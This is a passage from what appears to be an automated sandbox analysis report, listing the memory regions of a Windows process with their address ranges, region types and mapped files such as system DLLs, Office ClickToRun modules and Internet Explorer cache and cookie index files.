"\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1263 start_va = 0x390000 end_va = 0x48ffff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 1264 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1265 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1266 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1267 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1552 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1553 start_va = 0xb0000 end_va = 0xb0fff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 1554 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 1555 start_va = 0x250000 end_va = 0x25ffff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 1556 start_va = 0x260000 end_va = 0x35ffff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 1557 start_va = 0x490000 end_va = 0x617fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1558 start_va = 0x620000 end_va = 0x7a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000620000" filename = "" Region: id = 1559 start_va = 0x7b0000 end_va = 0x1baffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007b0000" filename = "" Region: id = 1560 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1561 start_va = 0x7fef8370000 end_va = 0x7fef8559fff entry_point = 0x7fef8370000 region_type = mapped_file name = "c2r64.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll") Region: id = 1562 start_va = 0x7fef8560000 end_va = 0x7fef8799fff entry_point = 0x7fef8560000 region_type = mapped_file name = "appvisvsubsystems64.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll") Region: id = 1563 start_va = 0x7fefaa80000 end_va = 0x7fefaa82fff entry_point = 0x7fefaa80000 region_type = mapped_file name = "api-ms-win-crt-utility-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-utility-l1-1-0.dll") Region: id = 1564 start_va = 0x7fefaa90000 end_va = 0x7fefaa92fff entry_point = 0x7fefaa90000 region_type = mapped_file name = "api-ms-win-crt-environment-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-environment-l1-1-0.dll") Region: id = 1565 start_va = 0x7fefaaa0000 end_va = 0x7fefaaa2fff entry_point = 0x7fefaaa0000 region_type = mapped_file name = "api-ms-win-crt-filesystem-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-filesystem-l1-1-0.dll") Region: id = 1566 start_va = 0x7fefaab0000 end_va = 0x7fefaab2fff entry_point = 0x7fefaab0000 region_type = mapped_file name = "api-ms-win-crt-time-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-time-l1-1-0.dll") Region: id = 1567 start_va = 0x7fefaac0000 end_va = 0x7fefaac4fff entry_point = 0x7fefaac0000 region_type = mapped_file name = "api-ms-win-crt-multibyte-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-multibyte-l1-1-0.dll") Region: id = 1568 start_va = 0x7fefaad0000 end_va = 0x7fefaad4fff entry_point = 0x7fefaad0000 region_type = mapped_file name = "api-ms-win-crt-math-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-math-l1-1-0.dll") Region: id = 1569 start_va = 0x7fefaae0000 end_va = 0x7fefaae2fff entry_point = 0x7fefaae0000 region_type = mapped_file name = "api-ms-win-crt-locale-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-locale-l1-1-0.dll") Region: id = 1570 start_va = 0x7fefaaf0000 end_va = 0x7fefab8bfff entry_point = 0x7fefaaf0000 region_type = mapped_file name = "msvcp140.dll" filename = "\\Windows\\System32\\msvcp140.dll" (normalized: "c:\\windows\\system32\\msvcp140.dll") Region: id = 1571 start_va = 0x7fefab90000 end_va = 0x7fefab93fff entry_point = 0x7fefab90000 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 1572 start_va = 0x7fefaba0000 end_va = 0x7fefaba3fff entry_point = 0x7fefaba0000 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 1573 start_va = 0x7fefabb0000 end_va = 0x7fefabb2fff entry_point = 0x7fefabb0000 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 1574 start_va = 0x7fefabc0000 end_va = 0x7fefabc3fff entry_point = 0x7fefabc0000 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 1575 start_va = 0x7fefabd0000 end_va = 0x7fefabd2fff entry_point = 0x7fefabd0000 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l1-2-0.dll") Region: id = 1576 start_va = 0x7fefabe0000 end_va = 0x7fefabe2fff entry_point = 0x7fefabe0000 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Windows\\System32\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 1577 start_va = 0x7fefabf0000 end_va = 0x7fefabf2fff entry_point = 0x7fefabf0000 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 1578 start_va = 0x7fefac00000 end_va = 0x7fefac02fff entry_point = 0x7fefac00000 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 1579 start_va = 0x7fefac10000 end_va = 0x7fefac12fff entry_point = 0x7fefac10000 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l2-1-0.dll") Region: id = 1580 start_va = 0x7fefac20000 end_va = 0x7fefac22fff entry_point = 0x7fefac20000 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 1581 start_va = 0x7fefac30000 end_va = 0x7fefad21fff entry_point = 0x7fefac30000 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 1582 start_va = 0x7fefad30000 end_va = 0x7fefad33fff entry_point = 0x7fefad30000 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 1583 start_va = 0x7fefad40000 end_va = 0x7fefad55fff entry_point = 0x7fefad40000 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Windows\\System32\\vcruntime140.dll" (normalized: "c:\\windows\\system32\\vcruntime140.dll") Region: id = 1584 start_va = 0x7fefcf30000 end_va = 0x7fefcf4dfff entry_point = 0x7fefcf30000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1585 start_va = 0x7fefdb90000 end_va = 0x7fefdb9efff entry_point = 0x7fefdb90000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1586 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1587 start_va = 0x7fefdfd0000 end_va = 0x7fefed57fff entry_point = 0x7fefdfd0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1588 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1589 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1590 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1591 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1592 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1593 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1594 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1595 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1596 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1597 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1598 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1607 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 1608 start_va = 0xe0000 end_va = 0xe6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1609 start_va = 0x1f0000 end_va = 0x1f1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 1610 start_va = 0x1bb0000 end_va = 0x1e7efff entry_point = 0x1bb0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1611 start_va = 0x1e80000 end_va = 0x2272fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e80000" filename = "" Region: id = 1612 start_va = 0x37c80000 end_va = 0x37c8ffff entry_point = 0x0 region_type = private name = "private_0x0000000037c80000" filename = "" Region: id = 1613 start_va = 0x7febdd50000 end_va = 0x7febdd5ffff entry_point = 0x0 region_type = private name = "private_0x000007febdd50000" filename = "" Region: id = 1767 start_va = 0x200000 end_va = 0x200fff entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1768 start_va = 0x210000 end_va = 0x210fff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 1769 start_va = 0x7fefa750000 end_va = 0x7fefaa65fff entry_point = 0x7fefa750000 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 1770 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1788 start_va = 0x2280000 end_va = 0x237ffff entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1789 start_va = 0x7fefa530000 end_va = 0x7fefa74cfff entry_point = 0x7fefa530000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 1790 start_va = 0x7fefc4b0000 end_va = 0x7fefc505fff entry_point = 0x7fefc4b0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1798 start_va = 0x2380000 end_va = 0x245efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002380000" filename = "" Region: id = 1799 start_va = 0x2510000 end_va = 0x258ffff entry_point = 0x0 region_type = private name = "private_0x0000000002510000" filename = "" Region: id = 1800 start_va = 0x2730000 end_va = 0x282ffff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 1801 start_va = 0x2920000 end_va = 0x2a1ffff entry_point = 0x0 region_type = private name = "private_0x0000000002920000" filename = "" Region: id = 1802 start_va = 0x2b50000 end_va = 0x2c4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b50000" filename = "" Region: id = 1803 start_va = 0x7fef3500000 end_va = 0x7fef359ffff entry_point = 0x7fef3500000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll") Region: id = 1804 start_va = 0x7fefda20000 end_va = 0x7fefda2afff entry_point = 0x7fefda20000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1805 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1806 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 1807 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1808 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1822 start_va = 0x2590000 end_va = 0x268ffff entry_point = 0x0 region_type = private name = "private_0x0000000002590000" filename = "" Region: id = 1823 start_va = 0x2a20000 end_va = 0x2b1ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a20000" filename = "" Region: id = 1824 start_va = 0x2c50000 end_va = 0x2d4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c50000" filename = "" Region: id = 1825 start_va = 0x2df0000 end_va = 0x2dfffff entry_point = 0x0 region_type = private name = "private_0x0000000002df0000" filename = "" Region: id = 1826 start_va = 0x2e90000 end_va = 0x2f8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e90000" filename = "" Region: id = 1827 start_va = 0x3130000 end_va = 0x322ffff entry_point = 0x0 region_type = private name = "private_0x0000000003130000" filename = "" Region: id = 1828 start_va = 0x77e10000 end_va = 0x77e12fff entry_point = 0x77e10000 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll") Region: id = 1829 start_va = 0x7fefc080000 end_va = 0x7fefc097fff entry_point = 0x7fefc080000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 1830 start_va = 0x7fefdc30000 end_va = 0x7fefdc3efff entry_point = 0x7fefdc30000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1831 start_va = 0x7fefddf0000 end_va = 0x7fefdf56fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1832 start_va = 0x7fefee80000 end_va = 0x7feff0d8fff entry_point = 0x7fefee80000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 1833 start_va = 0x7feff6e0000 end_va = 0x7feff857fff entry_point = 0x7feff6e0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 1834 start_va = 0x7feff870000 end_va = 0x7feff999fff entry_point = 0x7feff870000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 1835 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1836 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1837 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1838 start_va = 0x220000 end_va = 0x220fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1839 start_va = 0x230000 end_va = 0x231fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000230000" filename = "" Region: id = 1840 start_va = 0x240000 end_va = 0x24bfff entry_point = 0x240000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 1841 start_va = 0x360000 end_va = 0x361fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000360000" filename = "" Region: id = 1842 start_va = 0x370000 end_va = 0x377fff entry_point = 0x370000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 1843 start_va = 0x380000 end_va = 0x38ffff entry_point = 0x380000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 1844 start_va = 0x3260000 end_va = 0x335ffff entry_point = 0x0 region_type = private name = "private_0x0000000003260000" filename = "" Region: id = 1845 start_va = 0x3360000 end_va = 0x36a2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003360000" filename = "" Region: id = 1846 start_va = 0x7fefbb00000 end_va = 0x7fefbb2cfff entry_point = 0x7fefbb00000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1847 start_va = 0x7fefc690000 end_va = 0x7fefc883fff entry_point = 0x7fefc690000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 1848 start_va = 0x7fefcd50000 end_va = 0x7fefcd5bfff entry_point = 0x7fefcd50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1849 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1850 start_va = 0x7feffe60000 end_va = 0x7feffeb1fff entry_point = 0x7feffe60000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1851 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1852 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1853 start_va = 0x7fefd2a0000 end_va = 0x7fefd2fafff entry_point = 0x7fefd2a0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1854 start_va = 0x2490000 end_va = 0x250ffff entry_point = 0x0 region_type = private name = "private_0x0000000002490000" filename = "" Region: id = 1855 start_va = 0x7fefb670000 end_va = 0x7fefb67afff entry_point = 0x7fefb670000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1856 start_va = 0x7fefb680000 end_va = 0x7fefb6a6fff entry_point = 0x7fefb680000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1858 start_va = 0x3010000 end_va = 0x310ffff entry_point = 0x0 region_type = private name = "private_0x0000000003010000" filename = "" Region: id = 1859 start_va = 0x7fef4d40000 end_va = 0x7fef4d5bfff entry_point = 0x7fef4d40000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 1860 start_va = 0x7fef4d60000 end_va = 0x7fef4dc1fff entry_point = 0x7fef4d60000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 1861 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1862 start_va = 0x7fef6570000 end_va = 0x7fef6580fff entry_point = 0x7fef6570000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 1878 start_va = 0x2460000 end_va = 0x2460fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002460000" filename = "" Region: id = 1879 start_va = 0x37b0000 end_va = 0x38affff entry_point = 0x0 region_type = private name = "private_0x00000000037b0000" filename = "" Region: id = 1880 start_va = 0x3920000 end_va = 0x3a1ffff entry_point = 0x0 region_type = private name = "private_0x0000000003920000" filename = "" Region: id = 1881 start_va = 0x3a80000 end_va = 0x3b7ffff entry_point = 0x0 region_type = private name = "private_0x0000000003a80000" filename = "" Region: id = 1882 start_va = 0x7fef93b0000 end_va = 0x7fef93b8fff entry_point = 0x7fef93b0000 region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll") Region: id = 1883 start_va = 0x7fefb800000 end_va = 0x7fefb814fff entry_point = 0x7fefb800000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 1884 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 1885 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 1886 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 1917 start_va = 0x28e0000 end_va = 0x28effff entry_point = 0x0 region_type = private name = "private_0x00000000028e0000" filename = "" Region: id = 1918 start_va = 0x3c80000 end_va = 0x3c8ffff entry_point = 0x0 region_type = private name = "private_0x0000000003c80000" filename = "" Region: id = 1919 start_va = 0x3d30000 end_va = 0x3e2ffff entry_point = 0x0 region_type = private name = "private_0x0000000003d30000" filename = "" Region: id = 1920 start_va = 0x7fef7190000 end_va = 0x7fef71f3fff entry_point = 0x7fef7190000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 1921 start_va = 0x7fef7200000 end_va = 0x7fef7270fff entry_point = 0x7fef7200000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1922 start_va = 0x7fef9660000 end_va = 0x7fef9677fff entry_point = 0x7fef9660000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1923 start_va = 0x7fef9680000 end_va = 0x7fef9690fff entry_point = 0x7fef9680000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1924 start_va = 0x7fefbc10000 end_va = 0x7fefbc17fff entry_point = 0x7fefbc10000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 1925 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 1926 start_va = 0x36b0000 end_va = 